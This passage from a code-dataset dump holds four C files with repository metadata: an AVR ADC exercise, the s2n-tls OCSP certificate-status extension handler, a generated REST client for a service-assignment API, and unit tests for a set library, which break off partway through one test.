added
stringdate 2024-11-18 17:54:19
2024-11-19 03:39:31
| created
timestamp[s]date 1970-01-01 00:04:39
2023-09-06 04:41:57
| id
stringlengths 40
40
| metadata
dict | source
stringclasses 1
value | text
stringlengths 13
8.04M
| score
float64 2
4.78
| int_score
int64 2
5
|
---|---|---|---|---|---|---|---|
2024-11-18T19:57:32.895836+00:00 | 2017-04-08T10:05:07 | efce7125ce837b1d521751116c0e534524319a4a | {
"blob_id": "efce7125ce837b1d521751116c0e534524319a4a",
"branch_name": "refs/heads/master",
"committer_date": "2017-04-08T10:05:07",
"content_id": "63b8eda69fde0830dab21797f6bca573c7e59d1a",
"detected_licenses": [
"MIT"
],
"directory_id": "d522f8217753bbc982450b8c7a8124c55b6480ee",
"extension": "c",
"filename": "OpgaveB2.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 80710902,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 550,
"license": "MIT",
"license_type": "permissive",
"path": "/Track4/Track4/Track4/src/Source/OpgaveB2.c",
"provenance": "stackv2-0019.json.gz:143244",
"repo_name": "StefanMermans/MicroControllers",
"revision_date": "2017-04-08T10:05:07",
"revision_id": "6daed06e9fe1bfe875d4d0a18c03a91cf32cde1c",
"snapshot_id": "15e940a182de17fcaab1fa50cbd0bec42842015a",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/StefanMermans/MicroControllers/6daed06e9fe1bfe875d4d0a18c03a91cf32cde1c/Track4/Track4/Track4/src/Source/OpgaveB2.c",
"visit_date": "2021-01-25T07:07:27.777464"
} | stackv2 | #include "../Headers/OpgaveB2.h"
#include "../Headers/Wait.h"
#include <asf.h>
/*
* OpgaveB2.c
*
* Created: 9-3-2017 12:32:44
* Author: Stefan
*/
void OpgaveB2(){
DDRF = 0x00; // set PORTF for input (ADC)
DDRA = 0xFF; // set PORTA for output
ADMUX = 0b01000011; // AREF=VCC, not left adjusted, channel3
ADCSRA = 0b10100110; // ADC-enable, no interrupt, start, free running, division by 64
while(1){
ADCSRA |= 1 << 6;
while ( ADCSRA & 1 << 6 ) ;
PORTA = ADCH; // Laat de waarde deels zien op PORTA
wait(500);
}
} | 2.28125 | 2 |
2024-11-18T19:57:33.144556+00:00 | 2023-08-31T05:17:33 | 08370063fa56c42e6649782b76215b6124018454 | {
"blob_id": "08370063fa56c42e6649782b76215b6124018454",
"branch_name": "refs/heads/main",
"committer_date": "2023-08-31T05:17:33",
"content_id": "454795ce25fddfec2405729dd16bb925e196d700",
"detected_licenses": [
"Apache-2.0",
"MIT"
],
"directory_id": "58fe7cb3949dd1930e709696659a0296500b64a6",
"extension": "c",
"filename": "s2n_cert_status.c",
"fork_events_count": 213,
"gha_created_at": "2014-06-27T19:37:59",
"gha_event_created_at": "2023-09-13T23:52:29",
"gha_language": "C",
"gha_license_id": "Apache-2.0",
"github_id": 21287076,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 3769,
"license": "Apache-2.0,MIT",
"license_type": "permissive",
"path": "/tls/extensions/s2n_cert_status.c",
"provenance": "stackv2-0019.json.gz:143502",
"repo_name": "aws/s2n-tls",
"revision_date": "2023-08-31T05:17:33",
"revision_id": "62dc7a6d4876e5eee0dea3690d528a4c7080a1d5",
"snapshot_id": "3344638a6a69c6f20665cf6847e1bc4b85f2e558",
"src_encoding": "UTF-8",
"star_events_count": 513,
"url": "https://raw.githubusercontent.com/aws/s2n-tls/62dc7a6d4876e5eee0dea3690d528a4c7080a1d5/tls/extensions/s2n_cert_status.c",
"visit_date": "2023-08-31T23:26:33.780048"
} | stackv2 | /*
* Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License").
* You may not use this file except in compliance with the License.
* A copy of the License is located at
*
* http://aws.amazon.com/apache2.0
*
* or in the "license" file accompanying this file. This file is distributed
* on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
* express or implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
#include "tls/extensions/s2n_cert_status.h"
#include "tls/s2n_config.h"
#include "tls/s2n_connection.h"
#include "tls/s2n_tls.h"
#include "tls/s2n_x509_validator.h"
#include "utils/s2n_safety.h"
#define U24_SIZE 3
static bool s2n_cert_status_should_send(struct s2n_connection *conn);
/*
* The cert_status extension is sent in response to OCSP status requests in TLS 1.3. The
* OCSP response is contained in the extension data. In TLS 1.2, the cert_status_response
* extension is sent instead, indicating that the OCSP response will be sent in a
* Certificate Status handshake message.
*/
const s2n_extension_type s2n_cert_status_extension = {
.iana_value = TLS_EXTENSION_STATUS_REQUEST,
.is_response = true,
.send = s2n_cert_status_send,
.recv = s2n_cert_status_recv,
.should_send = s2n_cert_status_should_send,
.if_missing = s2n_extension_noop_if_missing,
};
static bool s2n_cert_status_should_send(struct s2n_connection *conn)
{
return conn->handshake_params.our_chain_and_key
&& conn->handshake_params.our_chain_and_key->ocsp_status.size > 0;
}
int s2n_cert_status_send(struct s2n_connection *conn, struct s2n_stuffer *out)
{
POSIX_ENSURE_REF(conn);
struct s2n_blob *ocsp_status = &conn->handshake_params.our_chain_and_key->ocsp_status;
POSIX_ENSURE_REF(ocsp_status);
POSIX_GUARD(s2n_stuffer_write_uint8(out, (uint8_t) S2N_STATUS_REQUEST_OCSP));
POSIX_GUARD(s2n_stuffer_write_uint24(out, ocsp_status->size));
POSIX_GUARD(s2n_stuffer_write(out, ocsp_status));
return S2N_SUCCESS;
}
int s2n_cert_status_recv(struct s2n_connection *conn, struct s2n_stuffer *in)
{
POSIX_ENSURE_REF(conn);
/**
*= https://tools.ietf.org/rfc/rfc6066#section-8
*# struct {
*# CertificateStatusType status_type;
*# select (status_type) {
*# case ocsp: OCSPResponse;
*# } response;
*# } CertificateStatus;
*#
*# opaque OCSPResponse<1..2^24-1>;
*#
*# An "ocsp_response" contains a complete, DER-encoded OCSP response
*# (using the ASN.1 type OCSPResponse defined in [RFC2560]). Only one
*# OCSP response may be sent.
**/
uint8_t type;
POSIX_GUARD(s2n_stuffer_read_uint8(in, &type));
if (type != S2N_STATUS_REQUEST_OCSP) {
/* We only support OCSP */
return S2N_SUCCESS;
}
/* The status_type variable is only used when a client requests OCSP stapling from a
* server. A server can request OCSP stapling from a client, but it is not tracked
* with this variable.
*/
if (conn->mode == S2N_CLIENT) {
conn->status_type = S2N_STATUS_REQUEST_OCSP;
}
uint32_t status_size;
POSIX_GUARD(s2n_stuffer_read_uint24(in, &status_size));
POSIX_ENSURE_LTE(status_size, s2n_stuffer_data_available(in));
POSIX_GUARD(s2n_realloc(&conn->status_response, status_size));
POSIX_GUARD(s2n_stuffer_read_bytes(in, conn->status_response.data, status_size));
POSIX_GUARD_RESULT(s2n_x509_validator_validate_cert_stapled_ocsp_response(&conn->x509_validator, conn,
conn->status_response.data, conn->status_response.size));
return S2N_SUCCESS;
}
| 2.234375 | 2 |
2024-11-18T19:58:09.106089+00:00 | 2020-07-29T19:42:15 | 74ba1977b69fc9e9c28d5250837fb6021d19d6fd | {
"blob_id": "74ba1977b69fc9e9c28d5250837fb6021d19d6fd",
"branch_name": "refs/heads/master",
"committer_date": "2020-07-29T19:42:15",
"content_id": "55c70b670705eb407baa5f3c8058937b87469f94",
"detected_licenses": [
"curl"
],
"directory_id": "93fa8ba477a8ee5b721f387b3c888b92d61ac825",
"extension": "c",
"filename": "ServiceassignmentAPI.c",
"fork_events_count": 0,
"gha_created_at": "2015-04-21T13:23:20",
"gha_event_created_at": "2020-10-13T21:50:29",
"gha_language": "PHP",
"gha_license_id": null,
"github_id": 34328377,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 10192,
"license": "curl",
"license_type": "permissive",
"path": "/client-libraries/accucampus/c/api/ServiceassignmentAPI.c",
"provenance": "stackv2-0019.json.gz:143631",
"repo_name": "engineerica/engineerica-dev",
"revision_date": "2020-07-29T19:42:15",
"revision_id": "753fae9f19db847337259aa89fdc22e57efccc5c",
"snapshot_id": "574c681446b5b397476aea8e77e9d6cd9efbf133",
"src_encoding": "UTF-8",
"star_events_count": 3,
"url": "https://raw.githubusercontent.com/engineerica/engineerica-dev/753fae9f19db847337259aa89fdc22e57efccc5c/client-libraries/accucampus/c/api/ServiceassignmentAPI.c",
"visit_date": "2022-12-28T18:32:54.465976"
} | stackv2 | #include <stdlib.h>
#include <stdio.h>
#include <ctype.h>
#include "ServiceassignmentAPI.h"
#define MAX_BUFFER_LENGTH 4096
#define intToStr(dst, src) \
do {\
char dst[256];\
snprintf(dst, 256, "%ld", (long int)(src));\
}while(0)
// Enable a service in a specific location
//
// Allows the user to enable a service in a location to which they are scoped.
//
void
ServiceassignmentAPI_serviceassignmentAddservice(apiClient_t *apiClient, char * serviceid , char * locationid )
{
list_t *localVarQueryParameters = list_create();
list_t *localVarHeaderParameters = NULL;
list_t *localVarFormParameters = NULL;
list_t *localVarHeaderType = NULL;
list_t *localVarContentType = NULL;
char *localVarBodyParameters = NULL;
// create the path
long sizeOfPath = strlen("/serviceassignment/addservice")+1;
char *localVarPath = malloc(sizeOfPath);
snprintf(localVarPath, sizeOfPath, "/serviceassignment/addservice");
// query parameters
char *keyQuery_serviceid = NULL;
char * valueQuery_serviceid ;
keyValuePair_t *keyPairQuery_serviceid = 0;
if (serviceid)
{
keyQuery_serviceid = strdup("serviceid");
valueQuery_serviceid = (serviceid);
keyPairQuery_serviceid = keyValuePair_create(keyQuery_serviceid, &valueQuery_serviceid);
list_addElement(localVarQueryParameters,keyPairQuery_serviceid);
}
// query parameters
char *keyQuery_locationid = NULL;
char * valueQuery_locationid ;
keyValuePair_t *keyPairQuery_locationid = 0;
if (locationid)
{
keyQuery_locationid = strdup("locationid");
valueQuery_locationid = (locationid);
keyPairQuery_locationid = keyValuePair_create(keyQuery_locationid, &valueQuery_locationid);
list_addElement(localVarQueryParameters,keyPairQuery_locationid);
}
apiClient_invoke(apiClient,
localVarPath,
localVarQueryParameters,
localVarHeaderParameters,
localVarFormParameters,
localVarHeaderType,
localVarContentType,
localVarBodyParameters,
"GET");
if (apiClient->response_code == 200) {
printf("%s\n","");
}
//No return type
end:
if (apiClient->dataReceived) {
free(apiClient->dataReceived);
apiClient->dataReceived = NULL;
apiClient->dataReceivedLen = 0;
}
list_free(localVarQueryParameters);
free(localVarPath);
}
// View a list of services enabled for a specific location
//
// Allows the user to view a list of services available in a location to which they are scoped.
//
void
ServiceassignmentAPI_serviceassignmentGetlocation(apiClient_t *apiClient, char * locationid , int includegloballyavailable , int namefilter , int count )
{
list_t *localVarQueryParameters = list_create();
list_t *localVarHeaderParameters = NULL;
list_t *localVarFormParameters = NULL;
list_t *localVarHeaderType = NULL;
list_t *localVarContentType = NULL;
char *localVarBodyParameters = NULL;
// create the path
long sizeOfPath = strlen("/serviceassignment/getlocation")+1;
char *localVarPath = malloc(sizeOfPath);
snprintf(localVarPath, sizeOfPath, "/serviceassignment/getlocation");
// query parameters
char *keyQuery_locationid = NULL;
char * valueQuery_locationid ;
keyValuePair_t *keyPairQuery_locationid = 0;
if (locationid)
{
keyQuery_locationid = strdup("locationid");
valueQuery_locationid = (locationid);
keyPairQuery_locationid = keyValuePair_create(keyQuery_locationid, &valueQuery_locationid);
list_addElement(localVarQueryParameters,keyPairQuery_locationid);
}
// query parameters
char *keyQuery_includegloballyavailable = NULL;
int valueQuery_includegloballyavailable ;
keyValuePair_t *keyPairQuery_includegloballyavailable = 0;
if (includegloballyavailable)
{
keyQuery_includegloballyavailable = strdup("includegloballyavailable");
valueQuery_includegloballyavailable = (includegloballyavailable);
keyPairQuery_includegloballyavailable = keyValuePair_create(keyQuery_includegloballyavailable, &valueQuery_includegloballyavailable);
list_addElement(localVarQueryParameters,keyPairQuery_includegloballyavailable);
}
// query parameters
char *keyQuery_namefilter = NULL;
int valueQuery_namefilter ;
keyValuePair_t *keyPairQuery_namefilter = 0;
if (namefilter)
{
keyQuery_namefilter = strdup("namefilter");
valueQuery_namefilter = (namefilter);
keyPairQuery_namefilter = keyValuePair_create(keyQuery_namefilter, &valueQuery_namefilter);
list_addElement(localVarQueryParameters,keyPairQuery_namefilter);
}
// query parameters
char *keyQuery_count = NULL;
int valueQuery_count ;
keyValuePair_t *keyPairQuery_count = 0;
if (count)
{
keyQuery_count = strdup("count");
valueQuery_count = (count);
keyPairQuery_count = keyValuePair_create(keyQuery_count, &valueQuery_count);
list_addElement(localVarQueryParameters,keyPairQuery_count);
}
apiClient_invoke(apiClient,
localVarPath,
localVarQueryParameters,
localVarHeaderParameters,
localVarFormParameters,
localVarHeaderType,
localVarContentType,
localVarBodyParameters,
"GET");
if (apiClient->response_code == 200) {
printf("%s\n","");
}
//No return type
end:
if (apiClient->dataReceived) {
free(apiClient->dataReceived);
apiClient->dataReceived = NULL;
apiClient->dataReceivedLen = 0;
}
list_free(localVarQueryParameters);
free(localVarPath);
}
// View a list of locations where a service is available
//
// Allows the user to view a list of locations in which a service is available.
//
void
ServiceassignmentAPI_serviceassignmentGetservice(apiClient_t *apiClient, char * serviceid )
{
list_t *localVarQueryParameters = list_create();
list_t *localVarHeaderParameters = NULL;
list_t *localVarFormParameters = NULL;
list_t *localVarHeaderType = NULL;
list_t *localVarContentType = NULL;
char *localVarBodyParameters = NULL;
// create the path
long sizeOfPath = strlen("/serviceassignment/getservice")+1;
char *localVarPath = malloc(sizeOfPath);
snprintf(localVarPath, sizeOfPath, "/serviceassignment/getservice");
// query parameters
char *keyQuery_serviceid = NULL;
char * valueQuery_serviceid ;
keyValuePair_t *keyPairQuery_serviceid = 0;
if (serviceid)
{
keyQuery_serviceid = strdup("serviceid");
valueQuery_serviceid = (serviceid);
keyPairQuery_serviceid = keyValuePair_create(keyQuery_serviceid, &valueQuery_serviceid);
list_addElement(localVarQueryParameters,keyPairQuery_serviceid);
}
apiClient_invoke(apiClient,
localVarPath,
localVarQueryParameters,
localVarHeaderParameters,
localVarFormParameters,
localVarHeaderType,
localVarContentType,
localVarBodyParameters,
"GET");
if (apiClient->response_code == 200) {
printf("%s\n","");
}
//No return type
end:
if (apiClient->dataReceived) {
free(apiClient->dataReceived);
apiClient->dataReceived = NULL;
apiClient->dataReceivedLen = 0;
}
list_free(localVarQueryParameters);
free(localVarPath);
}
// Remove a service from a location
//
// Allows the user to disable a service from a location to which they are scoped.
//
void
ServiceassignmentAPI_serviceassignmentRemoveservice(apiClient_t *apiClient, char * serviceid , char * locationid )
{
list_t *localVarQueryParameters = list_create();
list_t *localVarHeaderParameters = NULL;
list_t *localVarFormParameters = NULL;
list_t *localVarHeaderType = NULL;
list_t *localVarContentType = NULL;
char *localVarBodyParameters = NULL;
// create the path
long sizeOfPath = strlen("/serviceassignment/removeservice")+1;
char *localVarPath = malloc(sizeOfPath);
snprintf(localVarPath, sizeOfPath, "/serviceassignment/removeservice");
// query parameters
char *keyQuery_serviceid = NULL;
char * valueQuery_serviceid ;
keyValuePair_t *keyPairQuery_serviceid = 0;
if (serviceid)
{
keyQuery_serviceid = strdup("serviceid");
valueQuery_serviceid = (serviceid);
keyPairQuery_serviceid = keyValuePair_create(keyQuery_serviceid, &valueQuery_serviceid);
list_addElement(localVarQueryParameters,keyPairQuery_serviceid);
}
// query parameters
char *keyQuery_locationid = NULL;
char * valueQuery_locationid ;
keyValuePair_t *keyPairQuery_locationid = 0;
if (locationid)
{
keyQuery_locationid = strdup("locationid");
valueQuery_locationid = (locationid);
keyPairQuery_locationid = keyValuePair_create(keyQuery_locationid, &valueQuery_locationid);
list_addElement(localVarQueryParameters,keyPairQuery_locationid);
}
apiClient_invoke(apiClient,
localVarPath,
localVarQueryParameters,
localVarHeaderParameters,
localVarFormParameters,
localVarHeaderType,
localVarContentType,
localVarBodyParameters,
"GET");
if (apiClient->response_code == 200) {
printf("%s\n","");
}
//No return type
end:
if (apiClient->dataReceived) {
free(apiClient->dataReceived);
apiClient->dataReceived = NULL;
apiClient->dataReceivedLen = 0;
}
list_free(localVarQueryParameters);
free(localVarPath);
}
| 2.328125 | 2 |
2024-11-18T19:58:09.357430+00:00 | 2019-07-10T00:18:21 | ae4b4e5ad14f90e5dffdbe9cdb1ec4cbe089fcee | {
"blob_id": "ae4b4e5ad14f90e5dffdbe9cdb1ec4cbe089fcee",
"branch_name": "refs/heads/master",
"committer_date": "2019-07-10T00:18:21",
"content_id": "41ed9a7ce987ba48288b6754e092c91f81869c6f",
"detected_licenses": [
"MIT"
],
"directory_id": "b2a2576ce307a1ec4c823f750bdbdc33201fd326",
"extension": "c",
"filename": "unit_set.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 75141402,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 38534,
"license": "MIT",
"license_type": "permissive",
"path": "/tests/unit/set/unit_set.c",
"provenance": "stackv2-0019.json.gz:144018",
"repo_name": "jmcph4/jcrl",
"revision_date": "2019-07-10T00:18:21",
"revision_id": "71175d571edbfd4f4106c084c3b0da34cfc8d849",
"snapshot_id": "5834cdc57675c3632cf1043582e976262890fd79",
"src_encoding": "UTF-8",
"star_events_count": 8,
"url": "https://raw.githubusercontent.com/jmcph4/jcrl/71175d571edbfd4f4106c084c3b0da34cfc8d849/tests/unit/set/unit_set.c",
"visit_date": "2020-06-18T11:18:08.957202"
} | stackv2 | /*
* unit_set.c
*
* Unit tests for the set implementation. For test declarations, see
* unit_set.h.
*/
#include <stdlib.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdint.h>
#include "constants.h"
#include "macros.h"
#include "set.h"
#include "list.h"
#include "unit_set.h"
/* Initialisation */
bool test_set_init_normal(void)
{
bool pass = false;
Set set;
unsigned int res = set_init(&set);
set_free(NULL, &set);
if(res == JCRL_ERR_OK)
{
pass = true;
}
return pass;
}
bool test_set_init_null_params(void)
{
bool pass = false;
unsigned int res = set_init(NULL);
if(res == JCRL_ERR_NULL_PARAM)
{
pass = true;
}
return pass;
}
bool test_set_free_normal(void)
{
bool pass = false;
Set set;
set_init(&set);
unsigned int res = set_free(NULL, &set);
if(res == JCRL_ERR_OK)
{
pass = true;
}
return pass;
}
bool test_set_free_null_params(void)
{
bool pass = false;
unsigned int res = set_free(NULL, NULL);
if(res == JCRL_ERR_NULL_PARAM)
{
pass = true;
}
return pass;
}
/* Equality */
bool test_set_equal_normal(void)
{
bool pass = false;
Set set_a;
set_init(&set_a);
Set set_b;
set_init(&set_b);
/* arbitrary values to insert */
unsigned int a = 12;
unsigned int b = 3;
set_add(G_INT(a), &set_a);
set_add(G_INT(b), &set_a);
set_add(G_INT(b), &set_b);
set_add(G_INT(a), &set_b);
bool equal = false;
unsigned int res = set_equal(&equal, &set_a, &set_b);
set_free(NULL, &set_a);
set_free(NULL, &set_b);
if(res == JCRL_ERR_OK && equal)
{
pass = true;
}
return pass;
}
bool test_set_equal_null_params(void)
{
bool pass = false;
unsigned int res = set_equal(NULL, NULL, NULL);
if(res == JCRL_ERR_NULL_PARAM)
{
pass = true;
}
return pass;
}
bool test_set_equal_empty_sets(void)
{
bool pass = false;
Set set_a;
set_init(&set_a);
Set set_b;
set_init(&set_b);
bool equal = false;
unsigned int res = set_equal(&equal, &set_a, &set_b);
set_free(NULL, &set_a);
set_free(NULL, &set_b);
if(res == JCRL_ERR_OK && equal)
{
pass = true;
}
return pass;
}
bool test_set_equal_unequal_sets(void)
{
bool pass = false;
Set set_a;
set_init(&set_a);
Set set_b;
set_init(&set_b);
/* arbitrary values to insert */
unsigned int a = 12;
unsigned int b = 3;
unsigned int c = 1;
set_add(G_INT(a), &set_a);
set_add(G_INT(b), &set_a);
set_add(G_INT(c), &set_b);
set_add(G_INT(b), &set_b);
bool equal = false;
unsigned int res = set_equal(&equal, &set_a, &set_b);
set_free(NULL, &set_a);
set_free(NULL, &set_b);
if(res == JCRL_ERR_OK && !equal)
{
pass = true;
}
return pass;
}
bool test_set_equal_same_set(void)
{
bool pass = false;
Set set;
set_init(&set);
/* arbitrary values to insert */
unsigned int a = 12;
unsigned int b = 3;
set_add(G_INT(a), &set);
set_add(G_INT(b), &set);
bool equal = false;
unsigned int res = set_equal(&equal, &set, &set);
set_free(NULL, &set);
if(res == JCRL_ERR_OK && equal)
{
pass = true;
}
return pass;
}
/* Membership */
bool test_set_in_normal(void)
{
bool pass = false;
Set set;
set_init(&set);
Set expected_set;
set_init(&expected_set);
/* arbitrary values to insert */
unsigned int a = 12;
unsigned int b = 33;
set_add(G_INT(a), &set);
set_add(G_INT(b), &set);
set_add(G_INT(a), &expected_set);
set_add(G_INT(b), &expected_set);
bool in = false;
unsigned int res = set_in(&in, G_INT(a), &set);
bool equal = false;
set_equal(&equal, &set, &expected_set);
set_free(NULL, &set);
set_free(NULL, &expected_set);
if(res == JCRL_ERR_OK && equal && in)
{
pass = true;
}
return pass;
}
bool test_set_in_null_params(void)
{
bool pass = false;
unsigned int res = set_in(NULL, NULL, NULL);
if(res == JCRL_ERR_NULL_PARAM)
{
pass = true;
}
return pass;
}
bool test_set_in_empty_set(void)
{
bool pass = false;
Set set;
set_init(&set);
Set expected_set;
set_init(&expected_set);
unsigned int a = 12; /* arbitrary value to insert */
bool in = false;
unsigned int res = set_in(&in, G_INT(a), &set);
bool equal = false;
set_equal(&equal, &set, &expected_set);
set_free(NULL, &set);
set_free(NULL, &expected_set);
if(res == JCRL_ERR_OK && equal && !in)
{
pass = true;
}
return pass;
}
bool test_set_in_not_found(void)
{
bool pass = false;
Set set;
set_init(&set);
Set expected_set;
set_init(&expected_set);
/* arbitrary values to insert */
unsigned int a = 12;
unsigned int b = 33;
set_add(G_INT(a), &set);
set_add(G_INT(a), &expected_set);
bool in = false;
unsigned int res = set_in(&in, G_INT(b), &set);
bool equal = false;
set_equal(&equal, &set, &expected_set);
set_free(NULL, &set);
set_free(NULL, &expected_set);
if(res == JCRL_ERR_OK && equal && !in)
{
pass = true;
}
return pass;
}
bool test_set_subset_normal(void)
{
bool pass = false;
Set set_a;
set_init(&set_a);
Set set_b;
set_init(&set_b);
Set expected_set_a;
set_init(&expected_set_a);
Set expected_set_b;
set_init(&expected_set_b);
/* arbitrary values to insert */
unsigned int a = 12;
unsigned int b = 33;
unsigned int c = 1;
set_add(G_INT(a), &set_a);
set_add(G_INT(b), &set_a);
set_add(G_INT(c), &set_a);
set_add(G_INT(a), &set_b);
set_add(G_INT(b), &set_b);
set_add(G_INT(a), &expected_set_a);
set_add(G_INT(b), &expected_set_a);
set_add(G_INT(c), &expected_set_a);
set_add(G_INT(a), &expected_set_b);
set_add(G_INT(b), &expected_set_b);
bool subset = false;
/* is b a subset of a? */
unsigned int res = set_subset(&subset, &set_a, &set_b);
bool equal_a = false;
set_equal(&equal_a, &set_a, &expected_set_a);
bool equal_b = false;
set_equal(&equal_b, &set_b, &expected_set_b);
set_free(NULL, &set_a);
set_free(NULL, &set_b);
set_free(NULL, &expected_set_a);
set_free(NULL, &expected_set_b);
if(res == JCRL_ERR_OK && equal_a && equal_b && subset)
{
pass = true;
}
return pass;
}
bool test_set_subset_null_params(void)
{
bool pass = false;
unsigned int res = set_subset(NULL, NULL, NULL);
if(res == JCRL_ERR_NULL_PARAM)
{
pass = true;
}
return pass;
}
bool test_set_subset_improper_subset(void)
{
bool pass = false;
Set set_a;
set_init(&set_a);
Set set_b;
set_init(&set_b);
Set expected_set_a;
set_init(&expected_set_a);
Set expected_set_b;
set_init(&expected_set_b);
/* arbitrary values to insert */
unsigned int a = 12;
unsigned int b = 33;
unsigned int c = 1;
set_add(G_INT(a), &set_a);
set_add(G_INT(b), &set_a);
set_add(G_INT(c), &set_a);
set_add(G_INT(a), &set_b);
set_add(G_INT(b), &set_b);
set_add(G_INT(c), &set_b);
set_add(G_INT(a), &expected_set_a);
set_add(G_INT(b), &expected_set_a);
set_add(G_INT(c), &expected_set_a);
set_add(G_INT(a), &expected_set_b);
set_add(G_INT(b), &expected_set_b);
set_add(G_INT(c), &expected_set_b);
bool subset = false;
/* is b a subset of a? */
unsigned int res = set_subset(&subset, &set_a, &set_b);
bool equal_a = false;
set_equal(&equal_a, &set_a, &expected_set_a);
bool equal_b = false;
set_equal(&equal_b, &set_b, &expected_set_b);
set_free(NULL, &set_a);
set_free(NULL, &set_b);
set_free(NULL, &expected_set_a);
set_free(NULL, &expected_set_b);
if(res == JCRL_ERR_OK && equal_a && equal_b && subset)
{
pass = true;
}
return pass;
}
bool test_set_subset_empty_sets(void)
{
bool pass = false;
Set set_a;
set_init(&set_a);
Set set_b;
set_init(&set_b);
Set expected_set_a;
set_init(&expected_set_a);
Set expected_set_b;
set_init(&expected_set_b);
bool subset = false;
/* is b a subset of a? */
unsigned int res = set_subset(&subset, &set_a, &set_b);
bool equal_a = false;
set_equal(&equal_a, &set_a, &expected_set_a);
bool equal_b = false;
set_equal(&equal_b, &set_b, &expected_set_b);
set_free(NULL, &set_a);
set_free(NULL, &set_b);
set_free(NULL, &expected_set_a);
set_free(NULL, &expected_set_b);
if(res == JCRL_ERR_OK && equal_a && equal_b && subset)
{
pass = true;
}
return pass;
}
bool test_set_subset_of_empty_set(void)
{
bool pass = false;
Set set_a;
set_init(&set_a);
Set set_b;
set_init(&set_b);
Set expected_set_a;
set_init(&expected_set_a);
Set expected_set_b;
set_init(&expected_set_b);
/* arbitrary values to insert */
unsigned int a = 12;
unsigned int b = 33;
set_add(G_INT(a), &set_b);
set_add(G_INT(b), &set_b);
set_add(G_INT(a), &expected_set_b);
set_add(G_INT(b), &expected_set_b);
bool subset = false;
/* is b a subset of a? */
unsigned int res = set_subset(&subset, &set_a, &set_b);
bool equal_a = false;
set_equal(&equal_a, &set_a, &expected_set_a);
bool equal_b = false;
set_equal(&equal_b, &set_b, &expected_set_b);
set_free(NULL, &set_a);
set_free(NULL, &set_b);
set_free(NULL, &expected_set_a);
set_free(NULL, &expected_set_b);
if(res == JCRL_ERR_OK && equal_a && equal_b && !subset)
{
pass = true;
}
return pass;
}
bool test_set_subset_empty_set_of(void)
{
bool pass = false;
Set set_a;
set_init(&set_a);
Set set_b;
set_init(&set_b);
Set expected_set_a;
set_init(&expected_set_a);
Set expected_set_b;
set_init(&expected_set_b);
/* arbitrary values to insert */
unsigned int a = 12;
unsigned int b = 33;
unsigned int c = 1;
set_add(G_INT(a), &set_a);
set_add(G_INT(b), &set_a);
set_add(G_INT(c), &set_a);
set_add(G_INT(a), &expected_set_a);
set_add(G_INT(b), &expected_set_a);
set_add(G_INT(c), &expected_set_a);
bool subset = false;
/* is b a subset of a? */
unsigned int res = set_subset(&subset, &set_a, &set_b);
bool equal_a = false;
set_equal(&equal_a, &set_a, &expected_set_a);
bool equal_b = false;
set_equal(&equal_b, &set_b, &expected_set_b);
set_free(NULL, &set_a);
set_free(NULL, &set_b);
set_free(NULL, &expected_set_a);
set_free(NULL, &expected_set_b);
if(res == JCRL_ERR_OK && equal_a && equal_b && subset)
{
pass = true;
}
return pass;
}
bool test_set_subset_same_set(void)
{
bool pass = false;
Set set;
set_init(&set);
Set expected_set;
set_init(&expected_set);
/* arbitrary values to insert */
unsigned int a = 12;
unsigned int b = 33;
unsigned int c = 1;
set_add(G_INT(a), &set);
set_add(G_INT(b), &set);
set_add(G_INT(c), &set);
set_add(G_INT(a), &expected_set);
set_add(G_INT(b), &expected_set);
set_add(G_INT(c), &expected_set);
bool subset = false;
/* is set a subset of itself? */
unsigned int res = set_subset(&subset, &set, &set);
bool equal = false;
set_equal(&equal, &set, &expected_set);
set_free(NULL, &set);
set_free(NULL, &expected_set);
if(res == JCRL_ERR_OK && equal && subset)
{
pass = true;
}
return pass;
}
bool test_set_superset_normal(void)
{
bool pass = false;
Set set_a;
set_init(&set_a);
Set set_b;
set_init(&set_b);
Set expected_set_a;
set_init(&expected_set_a);
Set expected_set_b;
set_init(&expected_set_b);
/* arbitrary values to insert */
unsigned int a = 12;
unsigned int b = 33;
unsigned int c = 1;
set_add(G_INT(a), &set_a);
set_add(G_INT(b), &set_a);
set_add(G_INT(a), &set_b);
set_add(G_INT(b), &set_b);
set_add(G_INT(c), &set_b);
set_add(G_INT(a), &expected_set_a);
set_add(G_INT(b), &expected_set_a);
set_add(G_INT(a), &expected_set_b);
set_add(G_INT(b), &expected_set_b);
set_add(G_INT(c), &expected_set_b);
bool superset = false;
/* is b a superset of a? */
unsigned int res = set_superset(&superset, &set_a, &set_b);
bool equal_a = false;
set_equal(&equal_a, &set_a, &expected_set_a);
bool equal_b = false;
set_equal(&equal_b, &set_b, &expected_set_b);
set_free(NULL, &set_a);
set_free(NULL, &set_b);
set_free(NULL, &expected_set_a);
set_free(NULL, &expected_set_b);
if(res == JCRL_ERR_OK && equal_a && equal_b && superset)
{
pass = true;
}
return pass;
}
bool test_set_superset_null_params(void)
{
bool pass = false;
unsigned int res = set_superset(NULL, NULL, NULL);
if(res == JCRL_ERR_NULL_PARAM)
{
pass = true;
}
return pass;
}
bool test_set_superset_improper_superset(void)
{
bool pass = false;
Set set_a;
set_init(&set_a);
Set set_b;
set_init(&set_b);
Set expected_set_a;
set_init(&expected_set_a);
Set expected_set_b;
set_init(&expected_set_b);
/* arbitrary values to insert */
unsigned int a = 12;
unsigned int b = 33;
unsigned int c = 1;
set_add(G_INT(a), &set_a);
set_add(G_INT(b), &set_a);
set_add(G_INT(c), &set_a);
set_add(G_INT(a), &set_b);
set_add(G_INT(b), &set_b);
set_add(G_INT(c), &set_b);
set_add(G_INT(a), &expected_set_a);
set_add(G_INT(b), &expected_set_a);
set_add(G_INT(c), &expected_set_a);
set_add(G_INT(a), &expected_set_b);
set_add(G_INT(b), &expected_set_b);
set_add(G_INT(c), &expected_set_b);
